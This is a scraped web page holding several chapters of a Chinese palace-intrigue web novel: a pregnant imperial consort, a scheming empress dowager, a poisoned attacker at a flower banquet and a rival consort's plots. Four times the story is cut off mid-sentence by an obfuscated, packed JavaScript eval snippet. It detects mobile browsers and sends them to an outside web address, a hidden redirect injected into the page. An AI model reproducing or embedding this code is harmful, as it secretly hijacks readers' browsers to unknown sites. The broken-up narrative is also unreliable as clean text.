“月公子,你能不能加速胎儿的成长?” “你疯了么?”陌姑姑刚走进内殿,听到这句话厉声道,“一旦孩子降生,曹暮烟绝不会放过你!” “而且,胎儿的加速成长会加快吸收母体的营养,你的身子这么弱,根本禁受不住。”月清绝毫不客气道。 “这件事我绝不同意!”陌姑姑坚决道。 安文夕抿了抿唇,从陌姑姑手中接过安胎药,一饮而尽,也许这件事是她太过急切了。 “好好养胎,我明日再来为你把脉。”月清绝淡道。 “玉公子慢走。”陌姑姑对月清绝道,然后转眸深深的看了眼安文夕,“你能做的就是保护好这个孩子,知道么?” 安文夕点头应是,陌姑姑扫了她一眼,微微叹了口气。 “欢凉,你去将我新做的几样点心包起来,我想去琼华殿看看皇上。”既然他没空来找她,那她就去寻他。 张海离得老远就看到了朝这边走来的那抹红衣,这宫里头已经好久不见那抹红色了,他远远的迎了上去,“奴才给皇贵妃娘娘请安。” “张公公不必多礼,好久不见。” “娘娘是来看皇上的?”张海扫了眼欢凉手上的食盒。 安文夕微微点头,“皇上在里头批折子?” “是。”张海眉头略皱,不觉间脚步慢了下来。 看着张海犹豫的神色,安文夕心中猜到了七八分,“张公公,这琼华殿里头可是还有别的妃子?” “是这两日太后娘娘封的一个柔美人。” “柔美人?”安文夕黛眉轻挽。 “张公公,一个小小的美人也能进入琼华殿了么?”欢凉不解。 “太后娘娘体恤皇上,说这偌大的琼华殿连个伺候的人也没有,实在不成体统,就让柔美人殿前伺候着,皇上虽然心中不喜,但是也没有拒绝。” 体恤?安文夕冷冷一笑,这恐怕是监视吧! “皇贵妃娘娘您稍等,奴才这就为你通报一声。” “不必了,本宫自己进去便是。” 琼华殿内,北宫喆翻着桌案上的奏折,眉头微拧,曹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我……”安芊柔大惊,她没有想到安文夕竟然一点颜面也不给她留,她的指甲狠狠的掐进肉里,双眸泛红,水汽氤氲,“妹妹,以前姐姐有什么不对的地方,姐姐跟你赔个不是,还请妹妹大**量,不要和姐姐一般见识。” 欢凉看着安芊柔那我见犹怜的模样,怒从心生,“柔美人,你见到皇贵妃娘娘竟然不知道行礼么?”公主自幼和她不亲和,她还一口一个姐姐妹妹恶不恶心。 安芊柔一愣,咬牙道:“嫔妾给皇贵妃娘娘请安。” “罢了,你先下去吧。”安文夕实在不想看到她一副可怜楚楚的模样。 “太后娘娘让嫔妾在这里伺候,嫔妾……” 北宫喆脸色又冷了几分,转眸对安文夕招手道:“夕儿,过来。” “九哥哥,我带了几样点心,你尝尝合不合胃口。”安文夕打开食盒,挑了几样他平常爱吃的。 “看着不错。” “尝尝。”安文夕眉眼轻扬,捏起一块点心放到他的唇边。 北宫喆慢条斯理的含了一小口,将细末也一并卷入口中,“好吃,只是朕为何从来没有见过。” “你这土鳖自然没见过!”安文夕鼻头发酸,声音微微发颤,这一句她再也说不出当初的明媚。 第174章 一捧一杀 第一百七十四章一捧一杀 “怎么了?”北宫喆抬眸看向身侧的女子,她的眼眶有些微红。 “没事,你喜欢吃就好。”安文夕唇边攒出一抹笑意,压下心中满满的苦涩,他当真一点也不记得了,即使是以前的场景重现,他也完全没有印象。 北宫喆长臂一伸,将安文夕揽进怀中,大手覆上她的纤腰,这种感觉令他莫名的心安,就连心中的烦闷也少了几分。 “今天可有吃药?” “吃了,我这身上天天都一股子药味。”安文夕从北宫喆身上起身,“我不妨碍你批折子,我就在一旁**字好了。” “也好,有你在,朕安心。”北宫喆一点也不顾忌安芊柔,在松开安文夕之际,薄唇擦过她的花颊,染红了她的脸庞。 安芊柔恨不得将头埋进地里,耳边听着北宫喆和安文夕的对话,不由得恨得牙根疼。明明没有太多亲昵,但是他们之间的默契与亲密,令别人怎么也插不进去。 时间慢慢流逝,北宫喆一直批阅着奏折,而安文夕在他身侧安静的**字,下面跪着的安芊柔就受不了了,她感觉膝盖处一阵刺痛,双腿也变得麻木。这不仅仅是**,更是一种折磨,她咬了咬牙,终究是没有勇气再跪在这里,身子往一侧倒去。 不大的动静,却足以惊动殿内的人,北宫喆朱笔一顿,扫了眼安芊柔,继续翻起奏折。 安文夕眉头略皱,对欢凉使了个眼色,欢凉立即明了,她看到晕倒的安芊柔不由得冷冷一哼,终于装不下去了! 欢凉走到殿外,对张海道:“张公公,殿里的柔美人晕倒了,麻烦您找人将她抬走吧,省的皇上看着心烦。” “咱家明白,欢凉姑娘客气了。” 不出一盏茶功夫,张海便带着人将安芊柔抬出了琼华殿,整个过程没有发出任何声响。 安芊柔被抬出琼华殿的消息不胫而走,曹太后气的差点将安芊柔一掌拍飞。 “哀家怎么养了你们一个个废物!” “太后娘娘息怒,嫔妾……嫔妾……”安芊柔的身子抖得厉害, “收起你这副我见犹怜的样子,哀家对你这楚楚可怜的模样可没兴趣!你要知道哀家为什么要把你从清幽宫里弄出来,哀家要的是一枚有价值的棋子,而不是一个废物!” “是,嫔妾知错了。”安芊柔死死地咬着牙,她讨厌曹太后,却又不得不依赖着她! “告诉哀家,你恨安文夕么?” “恨,我恨不得她死!”安芊柔原本柔弱的小脸变得狰狞,“凭什么我永远都比不上她,我到底哪里不如她?” “你没有不如她,怪只怪没她运气好,谁让你的生母登不得台面呢。” 耳边响起曹暮烟尖利的声音,安芊柔双颊微红,狠狠地握拳,她的母妃当年是使了手段才爬上了父皇的床怀了她,这就注定了她也是不光彩的,和莫皇后所生的安文夕更是云泥之别。 可是除了这一点,她觉得自己没有哪里比不上安文夕,可是为什么从小到大,所有的人都喜欢她,都围绕着她,而她就注定只能卑微的活着么,她不甘心! 捕捉到她的愤怒与不甘,曹暮烟满意的勾了勾唇。 “请太后娘娘给嫔妾一个机会,嫔妾一定要让安文夕和她肚子里的贱种全部下地狱!”安芊柔眼底沁出一抹阴狠。 “啪——”她的话音刚落便被一掌拍飞。 她根本就没有看清曹暮烟何时出手,吃力的爬了起来,脸上还挂着泪珠,不解的看向曹暮烟,“太后娘娘……” “留着她肚子里的孽种,哀家不许任何人动他!” 安芊柔难以置信的看向曹暮烟,她不是将那安文夕恨之入骨么,为何要保护她的孩子? “怎么,哀家说的还不够明白么?” “嫔妾晓得了。”安芊柔微微垂眸,掩去眼底的一片阴毒。 “好了,明日的百花宴,你回去好好准备准备吧,别到时候再丢人现眼。” “是,嫔妾告退。” 沧月从曹暮烟身后走来,揽住她的腰道:“烟儿何必因她而生气。” “哀家没有生气,你不觉得让她们姐妹互相残杀很有意思么?”曹暮烟勾起妩媚的红唇,唇边绽开一抹意味深长的笑意。 “有意思,想必一定很好看。” “对了,可有安莫霖和莫虞的消息?” “暂时……还没有。” 曹暮烟闻言凤眸中闪过一抹凌厉,“继续找,在这承安翻地三尺也要给哀家找到!” “是,这件事就交给我来办,你好好养胎。”沧月慢慢覆上了曹暮烟的小腹,“对了,江向晚手中的引魂丹你打算何时取回来?” “引魂丹一事,哀家不急。”曹暮烟眸光微敛,仿佛将一切都掌握在了手中一般。 这一晚,北宫喆毫无疑问再次宿在了未央宫,夜里他一遍遍的吻着她,却没有半分逾越,那种深切的依恋令安文夕心中微暖,他虽然在慢慢的遗忘她,但是在他的心里却始终有着她的影子! 第二日一早,内务府就送来了几套皇贵妃的宫装,陌姑姑挑了几件淡雅却又不失身份的衣服给安文夕换上。 安文夕手中的动作一顿,对陌姑姑道:“穿那件红色的吧。” 陌姑姑眉头略皱,“大红色,太过张扬,而且这宫里只有皇后才有资格穿大红色的宫装!” “无碍,我张扬惯了,若是我突然低调下来,恐怕这宫里的女人反而不习惯了。” “也罢,你自己小心些。” “陌姑姑,这些首饰发钗就收起来吧,放在头上沉甸甸的。” “你自己看着装扮吧,但是记住即使再张扬也别越了曹暮烟。”陌姑姑将手中的东西放下,转身出了内殿。 安文夕稍稍擦了些胭脂,换上那身大红的宫装,搭着欢凉的手出了未央宫。 “公主,你今天真美。” 安文夕浅浅勾唇,缓缓朝九华殿走去,许久没有踏进这里,竟有些陌生之感。 她还未进殿,便听到了里面传来一声声讥讽,“她的架子果然大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安文夕别有深意的打量了她一眼,继续垂眸啜着茶水,但是那幽深的眸光令彭安容一阵不自在。 半晌,江向晴接过彭安容的话不屑道:“在尊贵又能怎样,这大夏的皇后也只能有一个。” 面对这样的挑衅,众位嫔妃都有些期待着安文夕出手,可惜安文夕脸上依旧不起波澜,仿佛没有听到一般,专注的捧着茶小口小口的抿着。 一唱一和,一捧一杀,彭安容和江向晴二人玩的不亦乐乎,无论她们怎样讥讽嘲笑,安文夕始终连个眼神都没有给她们。 这就犹如一拳砸在了棉花上,让她们倍感无力。几番下来,江向晴和彭安容渐渐败下阵来。 待众人皆安静下来之后,安文夕眸光一闪,眼底掠过一抹鹅黄色的身影,顿时眯了眼睛。 俗话说,咬人的狗不叫,而张口乱吠的多半没有什么真本事,对于彭安容和江向晴,她自是不怕的,而那些不声不响的,反而更令人防不胜防! 第175章 有意刁难 第一百七十五章有意刁难 众人不由得在心底惊叹,仅这皇贵妃的耐性就令人敬佩,她这次回宫只怕要更加的扶摇直上了! 就在众人心思各异之时,一声尖细的嗓音响起,“太后娘娘驾到!” 曹暮烟一身金凤华服,挽着高髻,头上带着纯金步摇,随着她的走动,流苏轻摆,鹿皮小靴上面缀着颗颗东海珍珠,闪闪耀目,众人只觉得一阵贵气逼人,忙福身行礼。 “臣妾给太后娘娘请安。” “嫔妾给太后娘娘请安。” 曹暮烟凤眸轻抬,一一掠过众人,然后将视线停驻在一些火红宫装的安文夕身上,妖娆的凤眸眯了眯,身形极轻的从殿内掠过,翩然居于主座之上,慵懒的拂了拂衣摆,这才施施然开口,“都起来吧。” 曹暮烟扫了眼安文夕道:“瑾淑妃回宫,今日哀家特举办这百花宴给她接风洗尘。” “太后娘娘,您怎么还叫瑾淑妃呀,如今人家都是皇贵妃了。”江向晴掩嘴轻道。 “哀家老了,这记性也大不如前了,没想到皇帝又给瑾淑妃晋了妃位,倒是哀家叫顺了口,还是喜欢这瑾淑妃的称号。”曹暮烟嘴角噙笑,就连眼底都泛出了丝丝笑意。 众人不由得惊叹,果然这姜还是老的辣,曹太后轻轻松松两句话就下了皇贵妃的脸面,偏偏还是那面颊含笑、不瘟不火的模样,更是令人心中愤恨。 众位妃嫔不禁在心中偷笑,这皇贵妃再得宠又能怎样,这太后娘娘可不认她这皇贵妃的妃阶呢! 欢凉嘴角微抿,眼底划过一丝愤怒,这个老妖婆太可恨了! 安文夕唇角微勾,神情淡淡,仿佛对这一切都漠不关心。 看着安文夕云淡风轻的模样,曹暮烟便气不打一处来,原本维持的笑意也渐渐敛去,正欲开口指责安文夕来了夏宫两日还不曾去长乐宫请安,只见安文夕淡淡浅笑,端起面前的小盏,款款走到曹暮烟面前,微微福身道:“臣妾身体不好,一直没有去给太后娘娘请安,今天在就这里给太后娘娘赔罪了。” 看着福身下去的安文夕,曹暮烟眼底尽是轻蔑,不动声色的将她从头到尾打量一番,丝毫没有接的意思。 安文夕知道她这是有意刁难,心里将老妖婆骂了无数遍,表面山却不起涟漪,就连身形也未动。 众位妃嫔难以置信的看着福身敬茶的安文夕,她以前不是因为跋扈而冲撞了太后娘娘,难道在宫外呆了一段时间反而学会了隐忍不成。 只有江向晴讥讽的勾了勾唇,对于安文夕的隐忍,她早就知晓,要不然也不会看着她一步步从一个最低贱的奴隶而爬到皇贵妃的位子! 在一旁的子目终是不忍,对曹暮烟开口道:“听闻皇贵妃怀了身孕,这身体到底不如以前轻便了。” 曹暮烟这才接过安文夕手中的小盏,淡道:“起来吧。” 安文夕此时双腿发麻,蓦然起身,双腿有些发酸,她咬了咬牙,稳住身形,一步步重回座位,落座之后,她冲子目微微一笑,子目也回以淡淡一笑。 曹暮烟端茶小盏,锐利的凤眸含了丝扫向子目,“齐贵人说的是,你们也要加把劲才是,等你们怀了龙嗣,哀家也免了你们的晨昏定省。” “呵呵……太后娘娘,臣妾们就是一个月也见不到皇上一面呀。”江向晴的语气里不觉得多了丝幽怨。 曹暮烟放下手中的小盏转眸看向安文夕道:“既然你现在有了身子,就不要再霸占皇帝了,给其他人一个机会,早点为皇帝开枝散叶。” “太后娘娘教训的是。”安文夕微微垂眸,眼底的余光扫了眼小盏,不喝也罢,反正该有的礼仪她都做到了,别人也挑不出错来。 “昨日你给皇帝送去的点心皇帝很喜欢,哀家也想尝尝你的手艺。” “臣妾回头就给太后娘娘送些过去。” 曹暮烟微微点头,别有深意的看了眼在一旁怯怯弱弱的安芊柔。 “太后娘娘,现在是否移驾御花园。”沧月小声问道。 曹暮烟微微点头,起身搭上沧月的手。 “摆驾!”尖细的嗓音再次响起。 所谓百花宴,不过是赏花品茶,以往这百花宴都是争宠的时候,而这次却是为了迎接安文夕回宫,所以众位妃嫔倒没有过多的准备,只要不会在太后娘娘面前出丑便是,太过招眼反而会给自己招惹祸端。 安文夕看似是这次百花宴的主角,但是还没有开宴就被曹太后摆了一道,众位妃嫔在心底自然是幸灾乐祸的。 安文夕不紧不慢的走在了曹太后身后,神情稍显放松,倒是欢凉打起了十二分的精神,生怕有人意图不轨。 暮春,百花已经开到最艳,整个御花园中,花团锦簇,嫣然一片。 曹太后走得很慢,还时不时跟安文夕介绍两句花房里新培养出来的新花,安文夕不禁暗自惊叹,这曹暮烟倒是第一次和她心平气和的说话。 就在这时,突然从不远处冲出来一个小宫女,发疯一般的直直撞上安文夕所在的地方,速度快至众人来不及反应,安文夕双眸一眯,还未来得及躲避,她身侧的欢凉犹如一只拉了满弓的弦一般飞快的随手拉了一个人拦住了那个飞奔而来的宫女。 安文夕嘴角一抿,这该来的还是来了! 那位发疯的小宫女对这一幕也是始料未及,再想收住脚步已经来不及,只能径直的撞了上去。 “啊!”彭安容还没有来得及反应过来,就被人一把拉了过去,紧接着便是迎面而来的一阵巨大的冲击。 这一幕仅发生在一瞬之间,众人皆被彭安容的惨叫吸引了视线,纷纷朝地上看去。 “啊,我的腰,我的腰……” 彭安容双手手腕皆被擦伤,此时血迹斑斑,额角也被撞得一片青紫,她的双眸噙着泪水,不顾手腕上的擦伤,捂着腰部难以动弹。 “娘娘,您没事吧。”她身边的大宫女忙去搀她。 “别动我,别动我……疼……”彭安容身形一顿,不禁痛的直冒冷气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562243|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而**的小宫女此时也倒地不起,地上汩汩流出一滩血迹。 “这究竟是怎么回事,哪个宫里的丫头竟然如此莽撞!”曹暮烟扫了眼地上的小宫女,锐利的双眸在众人面前一一掠过。 众位妃嫔脸色戚戚,皆不敢接话,都低下头来。 这个小宫女原本是冲着安文夕来的,众人皆看的清楚,彭安容不过被安文夕身边的欢凉随手拉来的垫背而已,怪只怪她离安文夕太近了! “太后娘娘,救救臣妾,救救臣妾……”彭安容原本精致的小脸此时皱成了一团。 曹暮烟的眸光只匆匆在彭安容脸上停留了一瞬,看着她那满脸泪痕的模样,心中不禁一阵生厌,将视线再次落到地上的小宫女身上,厉声道:“查!” 竟然有人敢在她的眼皮子底下耍阴谋,根本就不将她这个太后放在眼里! “回太后娘娘,断气了,她的嘴里含有鹤顶红。”沧月检查了一遍地上的小宫女对曹暮烟道。 众位妃嫔中间,一抹毫不起眼的鹅黄宫装女子闻言稍稍松了口气,片刻,她狠狠握紧了双拳,这一次又失败了! “带下去,严查!”曹暮烟厉声道。 曹暮烟话音一落,两个小太监立即将地上那小宫女的尸体抬走。 “太后娘娘……”彭安容此时小脸惨白,殷切的看向曹暮烟。 曹暮烟眉头略皱,这才吩咐沧月道:“派人将彭婕妤送回素芳阁。” 江向晴的眸光不动声色流转在曹暮烟和安文夕之间,只怕今天这一出就是曹太后一手策划的,她就说曹太后好端端的怎么会给安文夕好脸色,原来是这样的心思! 不多一会,几个小太监就抬着软轿小路小跑过来,众人将彭安容搀上软轿。 “太后娘娘,刚才是这个贱奴拉的嫔妾,还请太后娘娘……为嫔妾做主!”彭安容临走之前吃力的指着欢凉朝曹暮烟伸了伸手。 安文夕听到“贱奴”二字,不悦的挽起黛眉,凌冽的眼风扫向彭安容,彭安容到嘴边的话蓦地一滞,任由太监将她抬走。 曹暮烟阴鸷的双眸紧紧锁在欢凉身上,慢慢走近,红唇勾起一抹讥讽,“这个丫头倒是眼生的紧,皇贵妃身边真是卧虎藏龙,就连这小小的丫鬟都有如此身手。” 欢凉微微福身,“刚才那位姐姐突然发了疯,朝这边冲撞而来,奴婢紧张皇贵妃娘娘,情急之下,不小心冒犯了彭婕妤,还请太后娘娘恕罪。” “大胆贱婢,你可知冒犯宫妃可是死罪!”那不卑不亢的态度和安文夕如出一辙,果然有其主必有其奴,曹暮烟十分不悦的皱了皱眉头,她最讨厌这种傲骨! 欢凉咬了咬牙,刚想下跪,便被安文夕拉了一把,“太后娘娘,事出有因,她也是无心之失,还请太后娘娘饶她一次。” “哼。”曹暮烟冷冷一哼,“皇贵妃这是打算包庇这个丫头么?” 欢凉扑通跪了下来,一瞬不瞬的看向曹暮烟,“这件事是奴婢的错,太后娘娘责罚便是。” 第176章 献媚邀宠 第一百七十六章献媚邀宠 看着欢凉澄澈的双眸,曹暮烟神情一滞,这双眼睛有点眼熟,好像在哪里见过,可是她一时又想不起来。 “起来吧,今日哀家看在皇贵妃的面子上就不与你计较了。” 此话一出,众人皆是一惊,难以置信的看了眼曹暮烟,她刚才还下了安文夕的面子,怎么现在这么轻易就放过了这个为难安文夕的机会? “多谢太后娘娘。”安文夕心中有些不安。 曹暮烟用涂着鲜红蔻丹的手指抬起欢凉的下巴,指尖划过她的脸颊,仔细的打量着她的脸颊,半晌才道:“这丫头,模样倒是标致。” 安文夕心中咯噔了一下,难道曹暮烟看出什么来了?是她大意了,就应该在入宫的时候,继续让欢凉扮作红绫。 “哀家对这丫头喜欢的紧,不知皇贵妃可否割爱,让这丫头去长乐宫陪陪哀家,正好还可以给哀家做些点心。” 看着曹暮烟眼底一闪而逝的算计,安文夕的心顿时一沉。 “太后娘娘,臣妾身边只有她一个大丫头,臣妾离不了她。” “原来是这样,待会哀家就让内务府挑几个机灵的丫头送去未央宫。”曹暮烟浅笑。 安文夕握了握拳,刚想再次拒绝,只听得欢凉道:“能去伺候太后娘娘是奴婢的福分,只是奴婢习惯住在未央宫,太后娘娘可否答应奴婢每晚仍旧住在未央宫?” “准了。” 欢凉心中一松,还好曹暮烟没有借着这个由头为难公主,他们如今身在夏宫,根本不能和曹暮烟对抗,必须要忍耐! 众位嫔妃有些不解,曹太后竟然仅仅向安文夕要了个奴婢,这处罚是不是太轻了点,根本不像是曹太后的行事风格! 到了御花园,待曹暮烟落座之后,众位妃嫔才一一落座,百花再艳,经过彭安容一事后,众人的兴致不免又淡了几分。 “开宴吧。” 曹暮烟话音刚落,宫女们鱼贯而入,给众人奉了茶。 “果然是好茶,臣妾这是沾了太后娘娘的光了。”江向晴浅浅道,她的心情看起来不错,好像半点没有受到刚才那件事的影响。 “就你这丫头会说话,左相府上什么好茶没有。”曹暮烟声音中听不出半分宠溺,倒有丝极淡的讥讽。 “太后娘娘取笑臣妾了,今天是皇贵妃的好日子,臣妾不敢夺了皇贵妃的风头,只是皇贵妃这次回宫不仅晋了妃位,还怀了龙嗣,妹妹们应该前去道喜,只是听闻皇贵妃身体不好,妹妹们去了几次都被告知皇贵妃在休息,也不便再去打扰,今日既然见到了皇贵妃,就趁着这个机会,将礼物送给皇贵妃,还请皇贵妃不要嫌弃。”江向晴说着示意身侧的雪竹将她带的礼物呈了上来。 安文夕眸光落在江向晴含笑的脸颊上,半年不见,这江向晴再也不是以前那骄纵的性子,反而沉稳了不少。 江向晴带了个头,其他妃嫔也不甘示弱,纷纷送上了礼物。 安文夕微微颔首,“多谢各位了。” 众位妃嫔送过礼物之后,低位的妃嫔便开始表演才艺了,大部分人都选择了吟诗作画,希望能够博得曹太后欢心,得到些眷顾,太后娘娘就可以将她们送进琼华殿伺候皇上。毕竟皇上已经许久不来后宫了,她们已经太长时间没有见过皇上。 谁都不曾注意到一直跟在众人身后的安芊柔不见了身影,安文夕黛眉轻挽,眸光掠过曹暮烟含笑的双眸,心里升起一抹不好的预感,不知道安芊柔又想耍什么把戏! 就在这时,耳边响起一阵悠扬的琴声,不同与七弦琴的低沉,这悠悠的琴声倒显出了些许轻快。 众人顺着琴声望去,只见原本微波荡漾的碧波湖上此时多了一抹粉色的身形。 那女子轻纱遮面,眼神妩媚而勾人,身段娇柔若水,轻盈的舞步踩在水面上如蜻蜓戏水,众人皆被吸引了视线,纷纷猜测这个女子是谁。 安文夕双眸微眯,她只需一眼便猜得出来,那分明就是安芊柔! 只是,她这么做难道是为了…… “果然是个美人。”曹暮烟嘴角勾起一抹淡笑,转眸看向安文夕,“皇贵妃,你说呢?” 安文夕微微颔首并不答话,捧着小盏,小口小口的抿着茶水。 安芊柔的舞步更加快了起来,扭动着灵活的腰肢,将她本就纤柔至极的柳腰彰显的淋漓尽致。 江向晴眼底越发不屑,暗暗低唾,“哪来的不知廉耻的狐丨媚子!还没见到皇上呢,就如此不要脸。” 她的话音刚落,一抹明黄就映入众人的视线,这下子所有的妃嫔都兴奋了,皇上竟然来了! 看着北宫喆那冰冷刚毅的眉眼,众位妃嫔不禁羞红了面颊,再也没有心思注意正在翩翩起舞的安芊柔。 安文夕心中一滞,果然是这样的用心,没想到曹太后竟然在安芊柔身上花了这么多的心思。看来,这曹太后是打算将安芊柔捧上去了! 北宫喆眸光飞快的捕捉到了那道妖娆夺目的大红色身影,那抹娇小身姿顿时吸引去了他所有的目光。 北宫喆从头到尾都没有朝安芊柔投去一个眼神,安芊柔恨恨咬牙,脚下的步伐越来越快,一步步踏上岸边,朝那抹明黄翩然起舞。她此刻顾不了许多了,若是抓不住这个机会,那她这辈子再也没有翻身的机会了! “皇上……”安芊柔从北宫喆身后攀住他的臂膀,死死的扣住他的胳膊。 北宫喆顿时身子一僵,这个女人胆子还真是大,他的眸光掠过曹暮烟满意的眉眼,强忍着没有将身后的女人掀翻。 “嗬——”众位妃嫔不由得倒吸了一口凉气,这个哪个不知廉耻的女人竟然在众目睽睽之下勾引皇上! 安文夕看着几乎整个儿攀到北宫喆身上的安芊柔,心中蓦地一扯,手中捧着的小盏陡然一松,滚烫的茶水一股脑的洒在了她的身上,而她丝毫没有察觉一般,目光一直停留在那抹明黄之上。 他为什么没有拒绝? “啊!”安芊柔狠狠的跌坐在地上,脸上的轻纱也被掀落在地,身侧的男人早已掠身而去。 “夕儿,你没事吧?”北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北宫喆点点头,然后从怀中取出一枚免死令牌递给安文夕,“朕不在的时候,你就待在未央宫养胎。”他的大手覆上安文夕平坦的小腹,温柔的抚摸着。 “你,要去多久?” “最少一个月,最多三个月。” 三个月,那他回来岂不是完全忘了她? 安文夕眸光轻垂,抿了抿嘴角,微微握紧了他的大手,感受着他的温度。 半晌,她缓缓抬头,“我想和你一起去。” “朕问过月清绝,你的身子不宜奔波,更何况,朕此去洛城,十分凶险,怎么能让你去犯险。” “那好,我等你回来,记得,不许忘了我。”安文夕眼眶微涩。 北宫喆摩挲着双腕上戴着的红豆手链,将她轻轻拥入怀中,“朕答应你。” 安文夕似是想起了什么,从北宫喆怀中起身,从小匣子里取出一本空白小札递给北宫喆。 第177章 没有线索 第一百七十七章没有线索 北宫喆有些不解的看向安文夕,“这是?” “你要记得每日在上面写一句想对我说的话。”安文夕嘴角的笑越发的苦涩。 北宫喆将小札塞到袖中道:“朕会记得的。” 看着她青妍的花颊,北宫喆的眸光变得炙热,揽在她腰间的手也变得不安分起来,“夕儿……” “不可以,我……” 北宫喆蓦地含丨住她的樱唇,将她未说的话一并吞入腹中,他的大手开始在她的身上游走。 安文夕双手撑在北宫喆的胸前,一把推开他道:“不行!” 北宫喆原本炙热的双眸渐渐恢复了常色,恋恋不舍得在她唇上啄了一口,“朕晚上再来看你。” 北宫喆在琼华殿内负手而立,眉头微锁。 他身后的左言单膝跪地道:“今日的事情是属下疏忽了,差点酿成了大错,还请皇上责罚。”他的确没有想到有人竟然胆大到在众目睽睽之下加害皇贵妃! 半晌,北宫喆转过身来,对左言道:“朕不在夏宫的时候,你在暗中保护好夕儿,若是再发生今日这样的事情,提头来见!” 左言微微一惊,今日皇上竟然没有处罚他,他立即应道:“是。”片刻,他又犹豫道,“既然皇上知晓是谁,为何不除掉她。” “留着她,还有用。”北宫喆抿唇。 “若是她再对夕儿出手,只需留着她的性命便可,其他的无需顾及!” 左言心中一震,立即抱拳道:“是,属下遵命。” 北宫喆的眸光看向储秀宫的方向,绝美的桃花美目中闪过一抹幽光。 储秀宫清秋阁内,鹅黄宫装女子端坐在主坐上,一拳砸在了桌案上,身子因为怒气而微微发抖。 地上碎瓷遍地,狼藉一片。一旁跪在地上的女子紧紧的攥着衣角,倔强的抿着唇。 “本宫问你,你可知错?” “奴婢不知。” “好,好一个不知!”女子因为愤怒,额头上青筋毕露,“玲珑,给本宫狠狠地打!” 一位唤为玲珑的女子从鹅黄宫装女子身后走来,轻轻的抚了抚她的后背道:“主子,司琪什么性情您又不是不知道,她就是个倔脾气,您何必生气呢?” “她擅自换人,本宫怎能不气?” 今天那丫头是她从西楚带回来的,那老妖婆自然是查不出什么,但是一旦她有所发觉,顺着西楚这条线索去查,那她就彻底暴露了。 “主子,玲珑没有做错,玲珑所做的一切都是为了主子,若是这次借刀**,用别的宫里的人去做,反而可以让曹太后顺藤摸瓜,从而查出主子。” 司琪话音一落,那宫装女子火气更盛,直接抡起桌案上的小花瓶朝她砸去,“还敢顶嘴?” 登时,那叫司琪的宫女额头上顿时血流如注,而她却连眉头也未皱一下。 “公主,我们回西楚吧,何必待在这夏宫里举步维艰。” “回西楚?本宫的目的还未达到,怎么能回西楚?”更何况,疼爱她的父皇已经**,西楚再也不是她的依靠了,那个人竟然为了安文夕给了她赐死令牌警告她! 司琪咬了咬唇,明明公主在西楚可以找到一个合适的驸马,可她偏偏执着于北宫喆。 “本宫忘不了他给我的羞辱,本宫一定要征服他!”女子恨恨道,那日他想都没想就拒绝了西楚的和亲,可有想过这令她的颜面何在? “主子……” 玲珑叹了口气,立即打断了司琪的话道:“司琪,你也少说两句,赶紧给主子认个错。” 半晌,司琪抿了抿唇,缓缓磕头道:“主子,这次是司琪擅自做主了,还请主子责罚。” “主子您喝口水,消消气。” 宫装女子接过来玲珑递来的茶水,淡啜一口,这才稍稍减了丝怒气,对着跪在地上的司琪厉声道:“自己去殿门口跪上一个时辰,好好反思一下。” 玲珑蓦地松了口气,立即将地上的司琪拉走,快速的给她处理了一下额头上的伤口。 不过一会,尚凝萱由宫女搀着朝这边袅袅走来,看到跪在地上的司琪不禁蹙了秀眉,这黎诗琪性子向来娴静温雅,今日怎么竟然还罚起跪来了? 她走到司琪身边,顿住了脚步,娇笑一声,“司琪姑娘怎么跪在了这里,我这黎妹妹向来心性儿好,极少处罚奴才,莫不是司琪姑娘犯了什么大错惹恼了黎妹妹,本宫这就进去给司琪姑娘说说情。” 司琪神情微动,仿佛没有听到尚凝萱说话一般,依旧怔怔的跪在那里。 尚凝萱脸上的笑意一滞,眼底飞快的掠过一抹不屑,这司琪向来这样木讷,她早就见怪不怪了。 “黎妹妹,这是怎么了?”尚凝萱的眸光不动声色的掠过地上的碎瓷,踏了进去。 玲珑立即手脚麻利的将地上的狼藉收拾完毕,重新给黎诗琪和尚凝萱奉了茶。 黎诗琪粉面微红,双眸含笑,哪里还有半分刚才的盛怒,勾唇道:“没什么,只是司琪那丫头笨手笨脚,打碎了我最喜欢的那套茶具,我就罚她在殿门口跪上一个时辰。” 尚凝萱眸光流转,浅浅笑道:“原来是这样,姐姐那里倒是收集了一套上好的青瓷茶具,回头就让青儿给妹妹送来。”她朝殿外瞥了眼,又道,“像司琪这样笨手笨脚的丫头,要是换了姐姐我可是早就打发出宫去了,多亏了妹妹好脾气。” 黎诗琪不动声色的皱了皱眉,“尚姐姐怎么来了?” “娘亲给我送了些点心,我想这黎妹妹一个人身在在夏宫,就想着和黎妹妹送些过来。”说着她对身后的青儿使了个眼色,青儿立即将手中包好的点心小心翼翼的放在了桌案上。 “多谢尚姐姐了。” 